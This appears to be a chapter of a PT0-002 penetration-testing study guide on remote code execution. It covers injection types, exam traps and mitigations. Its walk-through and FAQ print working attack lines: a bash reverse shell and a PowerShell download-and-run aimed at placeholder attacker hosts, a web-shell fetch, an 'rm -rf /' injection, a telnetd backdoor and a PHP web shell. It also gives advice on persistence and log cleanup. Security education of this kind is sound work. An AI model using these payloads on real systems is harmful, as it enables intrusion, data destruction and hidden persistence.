PT0-002Chapter 55 of 104Objective 3.1

Remote Code Execution (RCE) Vulnerabilities

Remote Code Execution (RCE) vulnerabilities are among the most critical security flaws, allowing an attacker to run arbitrary commands or code on a target system. On the PT0-002 exam, RCE appears in the Attacks and Exploits domain (Objective 3.1) and is tested in approximately 10–15% of questions, often as part of web application attacks, buffer overflows, or command injection scenarios. This chapter provides a comprehensive understanding of RCE mechanisms, exploitation techniques, and mitigation strategies necessary for the exam and real-world penetration testing.

25 min read
Intermediate
Updated May 31, 2026

RCE: The Trusted Courier Delivering a Bomb

Imagine a high-security office building where packages are delivered to a central mailroom. The mailroom has a strict policy: any package addressed to a specific employee is opened and its contents are placed directly on that employee's desk. Now, an attacker sends a package labeled "Urgent: Software Update" addressed to the system administrator. The mailroom, trusting the label, carries the package directly to the admin's desk and opens it. Inside is not a software update but a small device that, when activated, gives the attacker full control over the admin's computer and, through it, the entire network. This is RCE: the application (mailroom) blindly trusts user-supplied input (package) and executes it without validation, allowing the attacker to run arbitrary code on the server. A proper security check would be to verify the package's origin, scan it for malicious content, and only allow pre-approved software updates from a trusted repository. Without such checks, the mailroom becomes an unwitting accomplice in the attack.

How It Actually Works

What is Remote Code Execution (RCE)?

Remote Code Execution (RCE) is a vulnerability that allows an attacker to execute arbitrary code on a target system from a remote location. RCE is considered the highest severity vulnerability because it often leads to full system compromise, data exfiltration, lateral movement, and persistence. In the Common Vulnerability Scoring System (CVSS) v3.1, RCE vulnerabilities typically score 9.0–10.0 (Critical).

RCE can occur in various forms: - Command Injection: The attacker injects operating system commands into user input fields that are passed to a shell. - Code Injection: The attacker injects code (e.g., PHP, Java, Python) that is executed by the application server. - Buffer Overflow: The attacker overwrites memory to hijack the execution flow and run shellcode. - Deserialization Attacks: The attacker manipulates serialized objects to execute arbitrary code during deserialization. - File Upload Vulnerabilities: The attacker uploads a malicious file (e.g., a web shell) that is then executed by the server.

How RCE Works Internally

RCE exploits the trust an application places in user-supplied data. The core mechanism involves three steps:

1.

Injection Point: The attacker identifies an input field or parameter that is passed to a system function without proper sanitization. Common injection points include:

- Form fields (e.g., search boxes, login forms) - URL parameters (e.g., ?file=document.pdf) - HTTP headers (e.g., User-Agent, Cookie) - File upload fields

2.

Payload Delivery: The attacker crafts a payload that contains malicious code or commands. The payload must be syntactically valid in the context of the vulnerable function. For example, if the application passes input to a shell command like system("ping " . $input), the attacker might input ; rm -rf / to execute additional commands.

3.

Execution: The application passes the attacker's input to a system interpreter (shell, eval, deserializer) without validation. The interpreter executes the injected code, giving the attacker control.

Key Components and Defaults

System Functions: Functions like system(), exec(), shell_exec(), passthru(), eval(), assert(), preg_replace() with /e modifier, and unserialize() are common vectors. In PHP, allow_url_fopen and allow_url_include (both default to On in older versions) enable remote file inclusion, which can lead to RCE.

Shell Metacharacters: Characters like ;, |, &, $(), ` `, ||, && are used to chain commands. On Windows, | and & work; on Unix, ; and |` are common.

Payload Encoding: Attackers often URL-encode, Base64-encode, or use Unicode escapes to bypass filters.

Web Shells: A common post-exploitation tool is a web shell (e.g., cmd.php with system($_GET['cmd'])), which provides a persistent RCE interface.

Configuration and Verification Commands

Penetration testers use various tools to discover and exploit RCE:

Manual Testing: Inject simple test payloads like ; sleep 5 to observe time delays.

Burp Suite: Intercept requests and modify parameters to inject commands.

Metasploit: Use modules like exploit/multi/http/struts2_content_type_ognl for known RCE vulnerabilities.

Nmap Scripts: Use http-shellshock.nse to test for Shellshock RCE.

Custom Scripts: Use Python or Bash to automate injection attempts.

Example command injection test:

curl "http://target.com/vuln.php?cmd=;id"

If the response includes the output of id, the vulnerability is confirmed.

Interaction with Related Technologies

RCE often chains with other vulnerabilities: - Privilege Escalation: After initial RCE, the attacker may need to escalate to root/Administrator. - File Inclusion: Local File Inclusion (LFI) can be escalated to RCE via log poisoning or /proc/self/environ. - SQL Injection: In some databases, xp_cmdshell (MSSQL) allows command execution, turning SQLi into RCE. - Server-Side Template Injection (SSTI): Template engines like Jinja2 or Freemarker can execute code if user input is passed unsafely.

RCE via Buffer Overflow

A buffer overflow occurs when an application writes more data to a buffer than it can hold, overwriting adjacent memory. The attacker controls the overflowed data to overwrite the return address on the stack, redirecting execution to shellcode. This requires knowledge of: - Offset: The distance from the buffer start to the return address (found via pattern generation). - Shellcode: Machine code that spawns a shell or executes a command (e.g., reverse shell). - Bad Characters: Characters that break the exploit (e.g., null bytes, newlines) must be avoided.

Example exploit steps: 1. Fuzz the application to crash. 2. Control EIP (Extended Instruction Pointer) by overwriting the return address. 3. Redirect EIP to shellcode on the stack or heap. 4. Execute shellcode.

RCE via Deserialization

Deserialization attacks exploit the process of converting serialized data back into objects. If the application deserializes user-supplied data without validation, the attacker can craft malicious objects that execute code when deserialized. Common in Java, PHP, Python, and .NET.

Java: ObjectInputStream.readObject() without filtering can lead to RCE via gadgets from libraries like Apache Commons Collections.

PHP: unserialize() on untrusted data can trigger magic methods like __wakeup() or __destruct() that execute code.

Python: pickle.loads() can execute arbitrary code during deserialization.

Mitigation Strategies

Input Validation: Whitelist allowed characters; never trust user input.

Escaping: Escape shell metacharacters before passing to system functions.

Use Safe APIs: Avoid system(), exec(), eval(). Use language-specific safe alternatives.

Least Privilege: Run applications with minimal permissions.

Disable Dangerous Functions: In PHP, disable exec, system, passthru, shell_exec, eval, assert in php.ini.

Web Application Firewall (WAF): Use WAF rules to block common injection patterns.

Regular Patching: Keep software up to date to fix known RCE vulnerabilities.

Exam Focus

The PT0-002 exam tests RCE in the context of web application attacks, buffer overflows, and post-exploitation. Candidates must be able to identify vulnerable code snippets, select appropriate payloads, and recommend mitigations. Common wrong answers include confusing RCE with LFI, SQLi, or XSS. Remember that RCE requires the execution of code on the server, not just reading files or manipulating data.

Walk-Through

1

Identify the Injection Point

Begin by mapping the application's input vectors. Use a proxy like Burp Suite to intercept all requests and identify parameters that are passed to system functions or eval-like constructs. Look for parameters in URLs (GET), form data (POST), cookies, and HTTP headers. Common indicators include file paths, command arguments, and template expressions. For example, a URL like `http://target.com/page.php?file=about` suggests a file inclusion vulnerability, which may be exploited for RCE if the file parameter is passed to `include()` unsanitized. Also test for blind injection by sending payloads that cause time delays, such as `; sleep 5`, to confirm if input is executed.

2

Craft a Test Payload

Create a simple, non-destructive payload to verify RCE without causing damage. For command injection, use `; ping -c 1 127.0.0.1` or `| whoami`. For code injection, use `<?php phpinfo(); ?>` if PHP. Observe the response for the output of the command or a change in behavior. If the application returns the result of `whoami` or the phpinfo page, RCE is confirmed. Always use safe payloads during initial testing; avoid destructive commands like `rm` or `shutdown`. Record the exact syntax that works, as it may be needed for the next step.

3

Bypass Input Filters

Many applications have basic filters that block obvious payloads. Common bypasses include: URL encoding (e.g., `%3B` for `;`), double URL encoding, Unicode escapes, using newlines (`%0a`), or alternative shell metacharacters (e.g., `%0a` instead of `;`). For PHP code injection, use `%3C%3Fphp%20system('id')%3B%20%3F%3E`. If the filter blocks specific keywords like `system`, use `exec` or `shell_exec`. In SQL injection to RCE scenarios, use `xp_cmdshell` if MSSQL. Payloads can also be obfuscated using Base64 encoding and then decoded server-side if the application decodes input before processing.

4

Launch the Full Exploit

Once a working payload is found, craft a payload that achieves the attacker's goal, such as opening a reverse shell or uploading a web shell. For a reverse shell, use a payload like `bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'` on Linux, or `powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).downloadString('http://attacker_ip/shell.ps1')"` on Windows. Use netcat to listen for the connection: `nc -lvnp 4444`. Alternatively, upload a web shell using commands like `wget http://attacker_ip/shell.php -O /var/www/html/shell.php` and then access it via browser to execute commands.

5

Maintain Persistence

After gaining initial access, establish persistence to maintain control even if the application is restarted or the vulnerability is patched. Common methods include: adding a cron job that connects back to the attacker, installing a backdoor as a service, or creating a new user with SSH access. On Windows, create a scheduled task or add a registry run key. On Linux, add a reverse shell to `/etc/rc.local` or create a systemd service. Document all changes for the penetration test report. Finally, clean up artifacts like web shells and logs to avoid detection, unless the rules of engagement require leaving them.

What This Looks Like on the Job

In a real-world enterprise, RCE vulnerabilities are often discovered during penetration tests or through bug bounty programs. One common scenario is a web application that uses a legacy CMS with known RCE vulnerabilities, such as an old version of Drupal or WordPress. For example, the Drupalgeddon2 vulnerability (CVE-2018-7600) allowed unauthenticated RCE via crafted requests to the user/register endpoint. In production, this CMS was running on a shared hosting environment with hundreds of sites. The attacker could exploit the vulnerability to execute arbitrary PHP code, leading to full compromise of the server and all hosted sites. The fix involved patching Drupal to the latest version and implementing a WAF rule to block the exploit pattern.

Another scenario is a custom Java application that deserializes user-supplied data without validation. For instance, an e-commerce platform used Java serialization for session management. An attacker could craft a malicious serialized object using ysoserial with a CommonsCollections4 gadget chain. When the server deserialized the session cookie, it would execute a reverse shell command. In production, the application was behind a load balancer, so the attacker had to ensure the payload worked across multiple servers. The mitigation included using a whitelist of allowed classes during deserialization and switching to JSON-based sessions.

A third scenario is a network device like a router or firewall with a command injection vulnerability in its web interface. For example, a popular SOHO router had a debug feature that allowed ping commands via a form field. The input was passed to system() without sanitization. An attacker could inject ; telnetd -l /bin/sh to enable a telnet backdoor. In enterprise environments, such devices are often left with default credentials, making exploitation trivial. The fix involves firmware updates and disabling unnecessary services.

When misconfigured, RCE vulnerabilities can lead to data breaches, ransomware deployment, or complete network takeover. Penetration testers must carefully document the impact and recommend layered defenses: input validation, least privilege, regular patching, and network segmentation.

How PT0-002 Actually Tests This

The PT0-002 exam (Objective 3.1: Attacks and Exploits) tests RCE in multiple contexts. Candidates should expect questions that present a code snippet and ask to identify the vulnerability (e.g., command injection, eval injection, unsafe deserialization). They must also select the correct payload or mitigation strategy.

Common Wrong Answers: 1. Confusing RCE with Local File Inclusion (LFI): Candidates see a file parameter and think LFI, but if the application includes the file using include($_GET['file']) and the file contains PHP code, it becomes RCE. The exam may present a scenario where the attacker can upload a malicious file first, then include it. 2. Selecting SQL Injection instead of Command Injection: When input is passed to a shell command, not a database query. Look for functions like system() or exec() in the code. 3. Choosing XSS instead of RCE: XSS runs in the browser; RCE runs on the server. If the payload executes on the server (e.g., system('id')), it's RCE. 4. Ignoring Blind RCE: The exam may test blind RCE where no output is returned. In such cases, use out-of-band techniques like DNS exfiltration or time-based detection.

Specific Numbers and Terms: - CVSS score for RCE: 9.0–10.0 (Critical). - Common functions: system(), exec(), shell_exec(), passthru(), eval(), assert(), preg_replace('/e'). - Shell metacharacters: ;, |, &, $(), ` ``. - Buffer overflow: offset, EIP, shellcode, NOP sled. - Deserialization gadgets: CommonsCollections, ysoserial.

Edge Cases: - Second-Order Injection: The payload is stored (e.g., in a database) and executed later when retrieved. - HTTP Parameter Pollution: Multiple parameters with the same name may bypass filters. - WAF Bypasses: Use case transformation, encoding, or parameter pollution.

Eliminate Wrong Answers: If the question asks for the best mitigation, look for options that emphasize input validation, escaping, or using safe APIs. Avoid answers that suggest only using a WAF or patching without addressing the root cause. For identification questions, trace the data flow: if user input reaches a system function without sanitization, it's RCE.

Key Takeaways

RCE allows arbitrary command or code execution on a target system, typically scoring CVSS 9.0–10.0.

Common vectors: command injection, code injection, buffer overflow, deserialization, file upload.

Key functions: system(), exec(), shell_exec(), passthru(), eval(), assert(), unserialize().

Shell metacharacters: ; | & $() `` || && (Unix); | & || && (Windows).

Blind RCE can be detected via out-of-band or time-based techniques.

Mitigation: input validation, escaping, safe APIs, least privilege, disable dangerous functions.

On PT0-002, identify RCE by tracing user input to a system/eval function without sanitization.

Easy to Mix Up

These come up on the exam all the time. Here's how to tell them apart.

Command Injection

Injects OS commands into a shell.

Uses shell metacharacters like ;, |, &.

Executes in the context of the web server process.

Example: `; whoami`

Mitigation: Escape shell metacharacters, avoid system() calls.

Code Injection

Injects code in the application's language (e.g., PHP, Java).

Uses language-specific syntax like `eval($_GET['code'])`.

Executes within the application's runtime environment.

Example: `?code=system('id');`

Mitigation: Disable eval(), use safe alternatives like json_decode().

Watch Out for These

Mistake

RCE is the same as arbitrary file upload.

Correct

Arbitrary file upload can lead to RCE if the uploaded file is executed (e.g., a web shell). However, RCE is the execution of code, not just uploading a file. Many file upload vulnerabilities only allow storing files without execution, which is not RCE.

Mistake

Command injection only works on Unix systems.

Correct

Command injection works on both Unix and Windows. Windows uses `|`, `&`, and `||` for command chaining, and commands like `dir` and `whoami` are available. The syntax differs (e.g., `;` is not valid in cmd.exe), but the vulnerability exists.

Mistake

RCE always requires a public-facing vulnerability.

Correct

RCE can occur through internal applications, chained vulnerabilities (e.g., SQLi to xp_cmdshell), or via deserialization in internal APIs. It does not require direct internet exposure.

Mistake

Input validation alone prevents all RCE.

Correct

Input validation helps but is not sufficient. Attackers can bypass filters using encoding, obfuscation, or logic flaws. Defense-in-depth, including least privilege and safe APIs, is necessary.

Mistake

Blind RCE cannot be detected.

Correct

Blind RCE can be detected via out-of-band channels (e.g., DNS lookups, HTTP requests to attacker-controlled server) or time-based delays. Tools like Burp Collaborator can be used.

Do You Actually Know This?

Reveal each answer, then mark whether you got it right. Score 60%+ to unlock the next chapter.

Frequently Asked Questions

What is the difference between RCE and arbitrary code execution?

RCE is a type of arbitrary code execution that occurs remotely over a network. Arbitrary code execution (ACE) can also be local (e.g., via a malicious executable run by a user). In practice, the terms are often used interchangeably, but RCE specifically emphasizes the remote aspect.

How do I test for blind RCE?

Use out-of-band techniques: send a payload that causes the server to make a DNS lookup or HTTP request to a server you control. For example, on Linux: `; nslookup attacker.com`. If you see a DNS query, RCE is confirmed. Alternatively, use time-based payloads like `; sleep 10` and measure the response delay.

Can RCE be achieved through SQL injection?

Yes, in some databases. In MSSQL, the `xp_cmdshell` stored procedure can execute system commands. If the SQL user has privileges, an attacker can run `EXEC xp_cmdshell 'whoami'` to get RCE. In MySQL, `INTO OUTFILE` can write a web shell, but that requires file write permissions.

What is a web shell and how does it relate to RCE?

A web shell is a script (e.g., PHP, ASP) placed on a web server that provides a command interface. It is often uploaded via a file upload vulnerability or created via an RCE exploit. Once installed, it gives persistent RCE access. Example: `<?php system($_GET['cmd']); ?>`.

How do I prevent RCE in my code?

Never trust user input. Avoid using system(), exec(), eval(), and similar functions. If you must use them, validate input strictly (whitelist allowed characters) and escape shell metacharacters. Use safer alternatives like `escapeshellarg()` in PHP or subprocess with argument lists in Python. Apply least privilege to the application process.

What is the role of a WAF in preventing RCE?

A Web Application Firewall (WAF) can block common RCE payloads by inspecting requests for malicious patterns (e.g., `;`, `eval(`, `system(`). However, WAF can be bypassed with encoding, obfuscation, or logic flaws. WAF should be part of a defense-in-depth strategy, not the sole protection.

What are some famous RCE vulnerabilities?

Notable examples: EternalBlue (MS17-010) in SMB, Shellshock (CVE-2014-6271) in Bash, Heartbleed (CVE-2014-0160) in OpenSSL (information disclosure, but can lead to RCE), Drupalgeddon2 (CVE-2018-7600), Struts2 (CVE-2017-5638), and Log4j (CVE-2021-44228).

Terms Worth Knowing

Ready to put this to the test?

You've just covered Remote Code Execution (RCE) Vulnerabilities — now see how well it sticks with free PT0-002 practice questions. Full explanations included, no account needed.

Done with this chapter?